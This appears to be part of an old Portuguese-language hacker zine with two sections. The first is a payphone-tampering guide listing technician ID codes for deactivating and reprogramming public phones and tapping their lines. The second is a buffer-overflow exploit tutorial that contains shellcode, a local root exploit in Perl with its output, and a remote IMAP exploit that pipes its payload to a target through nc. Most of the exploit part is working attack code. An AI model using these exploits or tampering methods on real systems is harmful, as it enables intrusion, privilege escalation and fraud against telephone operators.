E estou mostrando uma nova teoria da relatividade:
"Coloque a mao numa panela quente por um segundo... aquilo vai parecer
uma hora. Mas, coloque sua mao numa mulher folgosa, uma hora se tornara
um segundo."
Tudo eh relativo :)
2. Telefonia Publica
A telefonia publica, soh eh conhecida no Brasil, atraves daqueles txts
imbecis (nao querendo ridicularizar quem o faz e/ou fez), mas eh q,
falar q da pra puxar uma extensao de tras do tp, todos, ou a maioria ja
sabe, mas, ir mais profundo, como pegar a fiacao em outro lugar, na C4
por exemplo, fazer uma nova linha telefonica... Eh isso q esta faltando,
entao aki esta minha parte, para q todos possam entender um pouco de
telefonia em geral.
Eu nao quero saber c vc ja sabe, pois tem outras pessoas q ainda nao
sabem...
Uma observacao importante eh q, o metodo de reprogramacao, muda um pouco
em alguns tipos de TPs, mas, vc ja viu algum codigo universal pra
celulares? Ou vc reprograma qquer celular de um jeito soh? Bah...
2.0 Introducao aos TPs
Bom, alguns esclarecimentos:
* TPs nao pegam em linhas convencionais, eles tem o proprio sistema,
o publico.
* Nunca estrague nada por dentro.
* Quando for mexer nas pecas, tem umas q soh d encostar da uns barulho
estranho...
* Cuidado quando for abrir, alias, cuidado encostar nas placas ao lado
do botao reset, elas dao choque. hehehehehe.
Nao fique assustado, mas existem precaucoes, e servem para serem
tomadas. :)
DICAS.
Varios manuais falam sobre descascar o fio atras do tp, mas, ou ele
esta encapado com um fio de borracha, ou um de ferro (igual ao fio q
conecta o fone ao TP), rarissimas vezes estao desprotegidos.
Entao, vc teria que descascar, e, na maioria das vezes, a pessoa acaba
cortando os fios, e acabando com o TP.
Nao seria mais facil ver por onde passa a fiacao? Por exemplo, sempre,
o fio sobe para o poste neh? Entao, eh soh achar por onde ele chega
ao poste, por onde? Pela terra, isso quer dizer q vc tem como chegar a
ele... Sem embramacao, ele fica no poste mais perto do tp, ele sobe
num tubo de ferro, a uns 2 metros do chao, q tem uma tampinha q tem
tem uns parafusos, q os fios estao enrolados.
Soh eh vc subir la, q pode, ateh ter mais de uma linha telefonica, para
eventuais instalacoes. Soh eh puxar de la e pronto...
Mas cmo vc tem uma chave, soh eh vc puxa d dentro do tp, duh!!
Nem vo esplica esse esquema, pois poderia ser ridicularizado...
Soh eh vc abri e.....beh.
2.1 O Botao Reset
Este botao, eh a primeira coisa que vc tera q achar, assim q abrir o
tp, ele pode estar localizado em qquer lugar, tudo depende do modelo
do tp a ser estudado. Por exemplo, o modelo 9400, fica atras da placa,
no canto superior direito da placa que tem dentro dele, onde, puxando
a placa, da acesso a placa central...
Ja no 3001, ele esta na placa central...
Entao eu nao posso entrar em detalhes sobre esse botao, pois ele pode
estar em diferentes partes.
O unico detalhe eh: ele tem quase 1 cm, eh mais facil vc tentar achar
um botaozinho pequeno...
2.2 O setup
Para entrar nesse modo, eh preciso, apertar o botao reset, e tirar o
fone do gancho, vc vera no visor:
-------------------
| Identificacao * | (Mas no *, tem uma seta para baixo, e
| # | no #, tem uma virada para a esquerda.)
-------------------
Os comandos sao faceis, * alterna entre as opcoes e # confirma.
obs: * (asterisco) # (nao, nao eh cerquinha, eh quadrado) ao menos
foi o q ouvi.
Entao se apertar *, passara para o proximo menu, mas se apertar #,
entrara nesse menu (identificacao).
2.3 Sub-menus
Os Sub-menus sao:
+ Identificacao
+ Auto-teste
+ Contadores
+ Comunicacao
+ Instalacao
+ Desativacao
2.4 Sub-menu IDENTIFICACAO
Entrando em Identificacao:
---------------
| Terminal TPCI |
| 15_5470214 | ---> numero do tp
---------------
Daqui em diante, quando se entra em um sub-menu:
* vai para cima
# vai para baixo
E segue:
Terminal SSTP (eh o n. CSA)
015152341006
aperte *
Numero de Serie (duh)
12004
*
F. Tarifacao da
Central
*
Tab. Tarifacao
Carrierr 5.04
*
28/02/2001
21:13:58
OBS: ESSES DADOS SAO DO TP Q EU UTILIZEI, LOGICAMENTE, EM OUTROS
IRA APARECER DIFERENTE.
Agora, vai comecar a repetir tudo de novo, eh bom vc anotar esses
dados, eles serao necessarios para eventuais programacoes :)
Agora, nao tem como voltar ao menu principal, sera preciso reiniciar
o processo, coloque o fone do gancho, aperte o reset (segure) e tire o
fone do gancho.
2.5 Sub-menu AUTO-TESTE
Caso o tp esteja meio ruim, se eh feito o AUTO-TESTE, que apenas testa
os equipamentos, aperte # nessa opcao e vera no cursor:
Testando modem
Modem OK
Testando EEPROM
EEPROM OK
Testando RAM
RAM OK
Tecle 1
Tecle 2
Tecle 3 ... 4 5 6 7 8 9 * 0 #
Teclado OK
Memoria Visor OK
Testendo Leitora
Leitora OK
28/02/2001
21:18:30
Pronto, tudo ok com o nosso equipamento, agora, sera preciso reiniciar
o debug mode.
2.6 Sub-menu CONTADORES
Esta opcao tem como principal funcao, ver as seguintes coisas:
REINICIACOES
00000
F.COMUNICACAO
00000
F.PROTOCOLO
00000
F.CABECOTE
00000
CART.RECUSADOS
00000
R.ARMAZENADOS
00008
R.DESCARTADOS
00000
obs: pq ta quase tudo zerado? Eh pq eu tinha reinstalado o tp :)
Agora q viu os contadores, entre em debug mode novamente e va para...
2.7 Sub-menu COMUNICACAO
Eu nao observei direito, mas eh para testar a comunicacao entre o tp
e o CSA.
Assim q se entra nesse sub-menu, aparecera...
IDENT.TECNICO
_____________
Dica: Esse eh um I/R, pegue o papel q tem dentro do tp, e veja um n.
bonus: to bonzinho neh? aki vai 5 de brinde.
10634
10068
9032
9764
11702
Pronto, coloca um desses ai e...
obs: quando for digitar algo, o * da clear e # confirma.
Agora coloca o ident.tecnico:
IDENT.TECNICO
10634________
E aperte #.
COMUNICACAO PROGRAMADA
Agora desligue e ligue o tel, mas nao deixe o reset apertado, eh
pra liga o tel normal, e aparecera:
A G U A R D E . . .
(vc vai pensar que esta se conectando a internet :)
por causa do modem se comunicando com o CSA (T.SSTP)
Uns momentos e...
COMUNICACAO OK
Mas se vc nao quer nada fazer isso, e abortar a comunicacao, ao inves
de liga o tel normal, ligue em debug e va em comunicacao...
depois aparecera:
COMUNICACAO
DESPROGRAMADA
Agora entre em debug novamente...
2.8 Sub-menu INSTALACAO
Por enquanto, nao dara para entrar. Eh preciso desativa o tp primeiro.
2.9 Sub-menu DESATIVACAO
IDENT.TECNICO
_____________
Ai coloca o mesmo de antes.
IDENT.TECNICO
10634________
TERMINAL SSTP
015152341006 ---> eh claro q em outros tp serao diferentes.
De novo, se apertar * clear, # confirma.
Explicacao: eh para o tp discar para o numero q aparecer ali, ele
avisara a central q esta sendo desativado, para uma reinstalacao.
Observacao: naum seja maneh, de coloca o n. da sua casa ali, pois
vc reparar, essa chamada eh gratuita... tente ligar normal pra esse
n. do tp, ele liga normal... estranho, por ser um n. convencional...
mais chega d fala merda e vamu em frente -->
Logo depois de se conecta com a central (o tp tb tem modem)
Aparecera:
DESATIVASAO PROGRAMADA
Agora desligue e ligue:
A G U A R D E . . .
DESATIVACAO OK
Agora, se vc for mal, desligue e ligue o tp, e sai fora, o tp vai
ficar assim:
04
FORA DE OPERACAO
Legal neh?
Mas como vc num eh burro, vamos programa-lo novamente, agora veja
q um menu esta abilitado, e outro nao.
COMUNICACAO (desapareceu)
*INSTALACAO* (apareceu)
2.10 Sub-menu INSTALACAO
Agora vamos ao INSTALACAO...
Logo de cara:
IDENT.TECNICO
_____________
IDENT.TECNICO
10634________
Ai vai pedi um monte de informacao...
Como:
NUMERO DE SERIE
TERMINAL TPCI
TERMINAL SSTP
............
Vc soh tem ir completando com as informacoes q vc anotou do menu
IDENTIFICACAO, alias, vc anoto neh?
Depois desligue e ligue normal:
A G U A R D E . . . (vai se comunica com a central)
Depois vai aparece:
A G U A R D E . . .
RECEBIDO 16%
E vai indo assim... com 29% 46% 65% 79% 92% 100%
Agora aparecera:
INSTALACAO OK
2.11 Finalizacoes
Pronto, vc percebeu q vc desprogramo e reinstalo o tp?
Agora eh com vc, adquira varias chaves, tente programar varios
tipos de tp, mude o q quiser... faca testes.....
Alias, vo da um brinde para vcs brincarem:
15-2222503 eh o n. da SPLICE, tem uns caras legais la :)
Se eu tiver oportunidade, falarei mais sobre telefonia fixa e publica,
mas por enquanto eh soh.
Observacao: O autor nao se respon... bah, faca o q vc quise, mais se
tu se fude, o problema eh seu, teste a seo proprio risco ;)
onlooker15@yahoo.com.br
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 10 - Escrevendo Exploits ~YXXXXx_
_xXXXXXX( de Buffer Overflow com Perl )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ BEHAEL _dXXXXP~
~YXXXbx.. ..xdXXXP~
Õndice:
~~~~~~~~~~~~~~~~~~~~
[ 1. IntroduÁ„o
[ 2. Exemplo de Programa vulner·vel
[ 3. Shellcode
[ 4. Projetando a carga ˙til
[ 5. Exemplo de Xploit
[ 6. Usando
[ 7. Velho exemplo de Remote Imapd Xploit (feito pelo autor original)
[ 8. Links & Recursos
-----------------------------------------------------------------------------
1] IntroduÁ„o:
~~~~~~~~~~~~~~~
Este txt È para esses que querem uma aproximaÁ„o pr·tica a escrever exploits
explorando condicoes a buffer overflow.
Como diz o tÌtulo, este texto lhe ensinar· como escrever exploits em Perl.
Se vocÍ quer um guia mais detalhado, por favor dÍ uma olhada nos links no final
deste texto.
2] Exemplo de Programa vulner·vel:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Ok, vamos a um exemplo. Eu escrevi um programa pequeno que È explor·vel a
buffer overflow. strcpy() n„o confere o comprimento de $KIDVULN
antes de colocar seu conte˙do sobre os stack.
-----------------------------------------------------------------------------
<++> PerlXploit/vuln.c
#include <stdio.h>
int main() {
char kidbuffer[1024];
if (getenv("KIDVULN") == NULL) {
fprintf(stderr, " CresÁa! !\n");
exit(1);
}
/* LÍ os dados das vari·veis de ambiente no buffer */
strcpy(kidbuffer, (char *)getenv("KIDVULN"));
printf("Vari·vel de Ambiente KIDVULN È:\n\"%s\".\n\n", kidbuffer);
printf("A vida n„o È maravilhosa no jardim de inf‚ncia?\n");
return 0;
}
<-->
-----------------------------------------------------------------------------
[root@localhost]# gcc -o vuln.c vuln
vuln.c: In function `main':
vuln.c:5: warning: comparison between pointer and integer
[root@localhost]# export KIDVULN=`perl -e '{print "A"x"1028"}'`
[root@localhost]# gdb vuln
GNU gdb bl· bl· bl·
(gdb) r
Starting program: ~/vuln
Environment variable KIDVULN is:
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
<snip>
A vida n„o È maravilhosa no jardim de inf‚ncia?
Program received signal SIGSEGV, Segmentation fault.
0x40032902 in __libc_start_main (main=Cannot access memory at address 0x41414149
) at ../sysdeps/generic/libc-start.c:61
61 ../sysdeps/generic/libc-start.c: No such file or directory.
(gdb)
-----------------------------------------------------------------------------
0k, aqui nÛs podemos ver que o tamanho do buffer n„o era bastante grande. Se
tivesse sido, ent„o o "stack pointer" teria sido escrito e o EIP teria sido
0x41414141. (41 = A em hexa).
-----------------------------------------------------------------------------
[root@localhost]# export KIDVULN=`perl -e '{print "A"x"1032"}'`
[root@localhost]# gdb vuln
GNU gdb bl· bl· bl· bl·...
(gdb) r
Starting program: ~/vuln
Environment variable KIDVULN is:
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
<snip>
A vida n„o È maravilhosa no jardim de inf‚ncia?
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
-----------------------------------------------------------------------------
Agora, nÛs escrevemos totalmente o velho "return adress". NÛs temos agora os
quatro A¥s (41). Bem, nÛs agora sabemos para onde EIP aponta, e ent„o nÛs
podemos conseguir que EIP apontem a nossa carga util. Se tiver Íxito que
nosso cÛdigo ser· executado no "stack".
(Alguns sistemas operacionais tem pacthes que previne que codigos maliciosos
sejam executados no stack).
-----------------------------------------------------------------------------
NÛs sabemos agora o comprimento para ser usado para escrever elaboradamente
o "return address."
Desde que pontos de ESP para o topo do "stack", nÛs podemos usar o valor de
ESP quando o programa morreu, e (se precisou) some um compense a isto.
Isto È como vocÍ adquire o valor do "stack pointer" para usar o exploit.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg esp
esp 0xbffff770 -1073744064
(gdb)
-----------------------------------------------------------------------------
3] Shellcode:
~~~~~~~~~~~~
Bem, n„o eh o objetivo dessa traduÁ„o e adptaÁ„o ensinar a escrever shellcode...
por tanto disponibilizo aqui um programa codado por jamez (jamez@sekure.org) do
sekure team www.sekure.org.
<++> PerlXploit/makeshellcode.c
#include <stdio.h>
#define MAX_PARAM 100
int hexcode[4086]; /* hex code for exeve */
int hexsize = 0; /* size of hex code */
char asmcode[4096]; /* asm code for exeve */
char aux[1024]; /* aux string */
char params[1024]; /* parameters including program name */
void asmcat(char * s) {
strcat(asmcode, s);
}
void addasm(char * fmt, int addr) {
sprintf(aux, fmt, addr);
strcat(asmcode, aux);
}
void addhex(int hex) {
hexcode[hexsize] = hex;
hexsize++;
}
void printhex() {
int i;
char s[10];
printf("\n-----------------( hex code )--\n\n");
printf("char shellcode[] = \n");
printf("\t\"");
for(i = 0; i < hexsize; i++) {
if((i - i/12 * 12) == 0 && i != 0) {
printf("\"\n");
printf("\t\"");
}
if(hexcode[i] < 16 && hexcode[i] >= 0)
printf("\\x0%x", hexcode[i]);
else
if(hexcode[i] > 0)
printf("\\x%x", hexcode[i]);
else {
sprintf(s, "%x", hexcode[i]);
printf("\\x%c", s[6]);
printf("%c", s[7]);
}
}
printf("%s\"\n", params);
}
int main(int argc, char * argv[]) {
int i, /* some for's */
jmp, /* how many bytes to jmp to get call instruction */
num_params, /* how many parameters */
size = 0; /* size of the whole command */
int nulls[MAX_PARAM]; /* where the null bytes go */
if(argc == 1) {
printf("\nshellcode, first version. (Nov 25, 1998)\n\n");
printf(" this proggie generates a binary execve code for any commands\n");;
printf(" with any arguments. it shows the asm and hex code of execve\n");
printf(" wanted. both outputs asm and hex code can be executed on the\n");
printf(" stack. for example, you can use it when you want to exploit\n");
printf(" a buffer overrun situation on linux.\n\n");
printf(" it's a jamez product. jamez@sekure.org\n");
printf(" sekure sdi - www.sekure.org\n\n");
printf(" - usage: %s path+program [first arg] [second arg] ...\n\n",argv[0]);
exit(0);
}
num_params = argc - 1;
/* parse out the parameters */
params[0] = '\0';
for(i = 0; i < num_params && i < MAX_PARAM; i++) {
size += strlen(argv[i+1]) + 1; /* plus one to the null end */
strcat(params, argv[i + 1]);
nulls[i] = strlen(params);
strcat(params, "\x20");
}
params[size-1] = '\0';
/* create the asm code */
hexcode[0] = '\0';
asmcode[0] = '\0';
jmp = 22 + 3 + (num_params-1)*6 + 3*num_params + 3;
addhex(0xeb);
addhex(jmp);
addasm("\tjmp 0x%x\n", jmp);
addhex(0x5e);
asmcat("\tpopl %esi\n"); /* popl %esi */
/* fill char * array w/ addr's */
for(i = 0; i < num_params && i < MAX_PARAM; i++) {
if(i == 0) {
addasm("\tmovl %%esi,0x%x(%%esi)\n", size);
addhex(0x89);
addhex(0x76);
addhex(size);
}
else {
addhex(0x8d);
addhex(0x5e);
addhex(nulls[i-1]+1);
addasm("\tleal 0x%x(%%esi),%%ebx\n", nulls[i-1]+1);
addhex(0x89);
addhex(0x5e);
addhex(size + i*4);
addasm("\tmovl %%ebx,0x%x(%%esi)\n", size + i*4);
}
}
addhex(0x31);
addhex(0xc0);
asmcat("\txorl %eax,%eax\n");
/* put null at the of strings */
for(i = 0; i < num_params && i < MAX_PARAM; i++) {
addhex(0x88);
addhex(0x46);
addhex(nulls[i]);
addasm("\tmovb %%eax,0x%x(%%esi)\n", nulls[i]);
}
addhex(0x89);
addhex(0x46);
addhex(size + 4*num_params);
addasm("\tmovl %%eax,0x%x(%%esi)\n", size + 4*num_params);
addhex(0xb0);
addhex(0x0b);
asmcat("\tmovb $0xb,%al\n");
addhex(0x89);
addhex(0xf3);
asmcat("\tmovl %esi,%ebx\n");
addhex(0x8d);
addhex(0x4e);
addhex(size);
addasm("\tleal 0x%x(%%esi),%%ecx\n", size);
addhex(0x8d);
addhex(0x56);
addhex(size + 4*num_params);
addasm("\tleal 0x%x(%%esi),%%edx\n", size + 4*num_params);
addhex(0xcd);
addhex(0x80);
asmcat("\tint $0x80\n");
addhex(0x31);
addhex(0xdb);
asmcat("\txorl %ebx,%ebx\n");
addhex(0x89);
addhex(0xd8);
asmcat("\tmovl %ebx,%eax\n");
addhex(0x40);
asmcat("\tinc %eax\n");
addhex(0xcd);
addhex(0x80);
asmcat("\tint $0x80\n");
addhex(0xe8);
addhex((jmp+5) * -1);
addhex(0xff);
addhex(0xff);
addhex(0xff);
addasm("\tcall -0x%x\n", jmp+5);
asmcat("\t.string \\\"");
asmcat(params);
asmcat("\\\"");
printf("\n-----------------( asm code )--\n\n");
printf("int main() {\n");
printf("\t__asm__(\"\n");
printf("%s\");\n", asmcode);
printf("}\n");
printhex();
printf("\n\n(by jamez for your profit)\n\n");
}
<-->
[root@localhost]# gcc -o makeshellcode.c makeshellcode
[root@localhost]# ./makeshellcode /bin/sh
-----------------( asm code )--
int main() {
__asm__("
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string \"/bin/sh\"");
}
-----------------( hex code )--
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
"\xff\xff/bin/sh"
(by jamez for your profit)
Vamos soh utilizar o hex code:
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
"\xff\xff/bin/sh"
-----------------------------------------------------------------------------
4] Projetando a Carga Util:
~~~~~~~~~~~~~~~~~~~~~~~~
A carga util ser· armazenada no do "$buffer ", com os dados que ser„o,
usado para a "exploitaÁ„o ". Ter· o comprimento necessario para sobrescrever completamente
o velho return address. NÛs inseriremos este cÛdigo no programa mirado
(user-input) para mudar seu fluxo.
A carga util na maioria dos casos:
N = NOP (0x90) / S = Shellcode / R = ESP (+ offset).
Buffer: [NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNSSSSSSSRRRRRRRRRRRRRR]
H· razıes por que nÛs construÌmos o "Buffer" deste modo. Primeiro nÛs temos muito
NOPs, ent„o o shellcode (o qual neste exemplo executar· /bin/sh), e afinal
o ESP + offset.
O registro de EIP ser· carregado com o valor apontado por ESP. Assim se ESP
aponta para qualquer lugar dentro do NOPs, o NOPs n„o far· nenhuma operaÁ„o, e
continua n„o fazendo nada atÈ alcancar o shellcode e ent„o
executa isto. (Veja abaixo)
_______________________________________________
<---- |[ NNNNNNNNNNNNNNNNNNNNNNNNNNN-SHELLCODE-RRRRRRR ]| <----
\_________________________/ ----> # ^
^ |
|________________________________|
Se o buffer que nÛs est·vamos tentando o overflow tivesse sido muito pequeno
somar uma decente quantia de NOP, o shellcode e RET¥s, abaixo do plano poderia
ter sido usado ao construir a carga util. (NÛs poderÌamos ter somado o NOP e
shellcode em uma "shell-vari·vel " como bem)
(R = Stack Pointer + Offset / S = Shellcode / N = x86 NOP)
/ ESP + offset / NOP / Shellcode
Carga util: [ RRRRRRRRRRRRRRRNNNNNNNNNNNNNNNNNNSSSSSS ]
| | ----------> #
----------
(Nota: O buffer n„o pode conter nenhum byte NULO!)
-----------------------------------------------------------------------------
5] Xploit exemplificado:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/usr/bin/perl
$shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89".
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c".
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff".
"\xff\xff/bin/sh";
$len = 1024 + 8; # O comprimento necessario para possuir o EIP
$ret = 0xbffff770; # O resultado de ESP
$nop = "\x90"; # x86 NOP
$offset = -1000; # Offset default para tentar.
if (@ARGV == 1) {
$offset = $ARGV[0];
}
for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}
# [ Buffer: NNNNNNNNNNNNNN ]
# Some muitos NOPS no buffer (885 NOP¥s)
$buffer .= $shellcode;
# [ Buffer: NNNNNNNNNNNNNNSSSSS ]
# Ent„o nÛs acrescentamos o shellcode ao buffer. NÛs abrimos espaÁo para o shellcode
print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");
# Aqui nÛs acrescentamos o offset ao valor do stack pointer - convertendo em hex,
# e ent„o imprime isto.
$new_ret = pack('l', ($ret + $offset));
# pack È uma funÁ„o que levar· uma lista de valores e empacotar· isto em um
# estrutura bin·ria, e ent„o devolve para a string o que contÈm a estrutura.
# Assim, empacote o stack pointer / ESP + offset em uma signed long - (4 bytes).
# Aqui nÛs acrescentamos o comprimento do shellcode ao scalar $i que depois da
# primeira volta tinha terminado com o valor " 885 " (bytes), ent„o ele volta
# a somar o scalar de $new_ret atÈ que $buffer tenha o tamanho de 1032 bytes.
#
for ($i += length($shellcode); $i < $len; $i += 4) {
$buffer .= $new_ret;
}
# [ Buffer: NNNNNNNNNNNNNNNNSSSSSRRRRRR ]
# TambÈm poderia ter sido escrito assim:
#
#until (length($buffer) == $len) {
# $buffer .= $new_ret;
#}
local($ENV{'KIDVULN'}) = $buffer; exec("/root/vuln");
# "/root/vuln" local onde estah o progarma vulneravel
# Copia para a shell a vari·vel KIDVULN, e execute vuln.
-----------------------------------------------------------------------------
6] Usando o Xploit:
~~~~~~~~~~~~~~~~~~~
bash-2.03# ./Xploit.pl
Address: 0xbfffeee8
Vari·vel de Ambiente KIDVULN È:
FâF V
∞ NÕÄ1€âÿ@ÕÄË‹ˇˇˇ/bin/shËÓˇøËÓˇøËÓˇøËÓˇøËÓˇøËÓˇøËÓˇøËÓˇøËÓˇøËÓˇøËÓˇøËÓˇø
ËÓˇøËÓˇøËÓˇøËÓˇøËÓˇøËÓˇøËÓˇøËÓˇøËÓˇøËÓˇøËÓˇøËÓˇøËÓˇø".
A vida n„o È maravilhosa no jardim de inf‚ncia?
sh-2.03# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),
10(wheel),11(floppy)
sh-2.03# exit
exit
bash-2.03#
OBS: Sempre q for usar esse Xploit vc deve sempre repetir o seguinte procedimento:
bash-2.03# export KIDVULN=`perl -e '{print "A"x"1032"}'`
bash-2.03# gdb vuln
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) r
Starting program: /root/perl/Xploit/vuln
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
Environment variable KIDVULN is:
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
A vida n„o È maravilhosa no jardim de inf‚ncia?
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg esp
esp 0xbffff2d0 0xbffff2d0
(gdb) q
The program is running. Exit anyway? (y or n) y
Sempre deve pegar o valor de ESP assim q conseguir causar Program received
signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
e preencher no Xploit.pl:
$ret = 0xbffff2d0; # O resultado de ESP
e assim utilizar ;D
7] Xploit fornecido pelo autor original do txt:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/usr/bin/perl
## *** Successfully tested on IMAP4rev1 v10.190
## Written by: teleh0r@doglover.com / anno 2000
##
## This is nothing new - written just for fun.
## Vulnerable: imapd versions 9.0 > 10.223 / CA.
# Shellcode stolen from imapx.c / The Tekneeq Crew
$shellcode ="\xeb\x35\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80".
"\x46\x03\x30\x80\x46\x05\x30\x80\x46\x06\x30\x89".
"\xf0\x89\x46\x08\x31\xc0\x88\x46\x07\x89\x46\x0c".
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80".
"\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xc6\xff\xff\xff".
"\x2f\x32\x39\x3e\x2f\x43\x38";
$len = 1052; # Sufficient to overwrite the return value.
$nop = A; # Using A (0x41) 'as' NOP's to try to fool IDS.
$ret = 0xbffff30f; # Return Value / ESP / Stack Pointer.
if (@ARGV < 2) {
print("Usage: $0 <target> <offset>\n");
exit(1);
}
($target, $offset) = @ARGV;
for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}
$buffer .= $shellcode;
$new_ret = pack('l', ($ret + $offset));
$address = sprintf('%lx', ($ret + $offset));
print("Address: 0x$address / Offset: $offset / Length: $len\n\n");
sleep(1);
for ($i += length($shellcode); $i < $len; $i += 4) {
$buffer .= $new_ret;
}
$exploit_string = "* AUTHENTICATE {$len}\015\012$buffer\012";
system("(echo -e \"$exploit_string\" ; cat) | nc $target 143");
--------------------------------------------------------------------------------------
8] Links & Recursos:
~~~~~~~~~~~~~~~~~~~~
Smashing The Stack For Fun And Profit by Aleph One
http://phrack.infonexus.com/search.phtml?view&article=p49-14
Writing buffer overflow exploits - a tutorial for beginners.
http://mixter.warrior2k.com/exploit.txt / Written by Mixter.
